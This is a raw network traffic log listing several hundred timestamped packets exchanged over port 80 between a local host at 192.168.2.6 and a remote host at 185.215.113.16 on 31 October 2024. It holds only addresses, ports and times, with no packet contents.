Oct 31, 2024 01:19:15.504360914 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504370928 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504381895 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504381895 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504393101 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504400015 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504405022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504420996 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504437923 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504446983 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504472017 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504586935 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504599094 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504611969 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504631996 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504637003 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504648924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504654884 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504654884 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504659891 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504673004 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504678965 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504686117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504688978 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504698992 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504723072 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504728079 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504740953 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504760981 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504766941 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504767895 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504786968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504797935 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504798889 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504806042 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504811049 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504822969 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504833937 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504834890 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504848003 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504873037 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504941940 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504964113 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504981041 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.504981041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.504992962 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505012989 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505019903 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505023003 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505033970 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505034924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505047083 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505059004 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505062103 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505070925 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505081892 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505083084 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505100965 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505100965 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505112886 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505121946 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505126953 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505135059 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505146027 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505146980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505167007 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505168915 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505181074 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505192041 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505192041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505204916 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505211115 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505223036 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505233049 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505234957 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505265951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505278111 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505289078 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505300045 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505316973 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505326033 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505337000 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505342960 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505347013 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505357981 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505367041 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505369902 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505395889 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505398989 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505410910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505425930 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505434990 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505441904 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505448103 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505460024 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505460978 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505475044 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505475998 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505496025 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505503893 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505525112 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505525112 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505530119 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505541086 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505543947 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505556107 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505565882 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505573034 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505579948 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505594969 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505595922 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505609035 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505613089 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505630016 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505635977 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505649090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505650043 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505659103 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505670071 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505671024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505681992 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505682945 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505698919 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505706072 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505733013 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505757093 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505774975 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505791903 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505793095 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505804062 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505815029 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505820036 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505832911 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505842924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505852938 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505855083 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505866051 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505877018 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505878925 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505903959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505906105 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505918980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505927086 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505929947 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505944014 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505949020 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505958080 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505970001 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505976915 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.505981922 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.505999088 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506001949 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506016016 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506026030 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506028891 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506053925 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506057024 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506064892 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506077051 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506086111 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506088972 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506103992 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506130934 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506225109 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506237984 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506249905 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506263018 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506289959 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506304026 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506315947 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506330013 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506344080 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506380081 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506386995 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506411076 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506422043 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506426096 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506433010 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506445885 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506448030 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506457090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506474018 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506477118 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506493092 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506517887 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506519079 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506531000 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506565094 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506572962 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506582975 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506594896 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506606102 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506618977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506630898 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506655931 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506673098 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506685019 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506695986 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506709099 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506709099 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506721020 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506731987 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506741047 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506769896 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506793022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506824970 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506834030 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506844044 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506870985 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506891966 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506906033 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506920099 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506932020 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.506932020 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506959915 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.506988049 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508069038 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508100986 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508112907 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508114100 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508127928 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508138895 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508145094 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508158922 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508166075 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508168936 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508188963 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508198977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508199930 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508208036 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508229017 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508229017 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508234024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508245945 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508258104 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508270979 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508277893 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508299112 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508565903 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508589029 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508599997 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508599997 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508635044 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508639097 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508651972 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508661032 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508665085 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508666992 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508697987 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508702993 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508702993 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508733988 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508739948 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508748055 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508785963 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508785963 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508797884 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508809090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508821011 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.508843899 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508843899 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.508877993 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509135962 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509177923 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509229898 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509241104 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509253979 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509264946 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509268045 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509277105 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509285927 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509296894 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509322882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509331942 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509335995 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509349108 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509357929 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509360075 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509367943 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509372950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509390116 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509402037 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509413004 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509443998 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509495974 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509521008 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509531975 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509537935 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509552956 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509557962 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509574890 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509584904 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509644032 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509682894 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509773970 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509783983 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509793997 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509808064 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509813070 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509825945 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509831905 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509848118 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509859085 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509874105 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509876013 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509887934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509896994 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509901047 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509911060 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509911060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509924889 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509932995 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509943008 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509946108 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509963989 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509973049 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.509974957 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.509996891 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.510020018 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.510128975 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.510157108 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.510166883 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.510169983 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.510189056 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.510202885 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.510231972 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.510243893 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.510253906 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.510270119 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.510283947 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.510296106 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.510473967 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.510492086 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.510503054 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.510510921 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.510520935 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.510526896 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.510536909 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.510539055 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.510562897 CET	49995	80	192.168.2.6	185.215.113.16
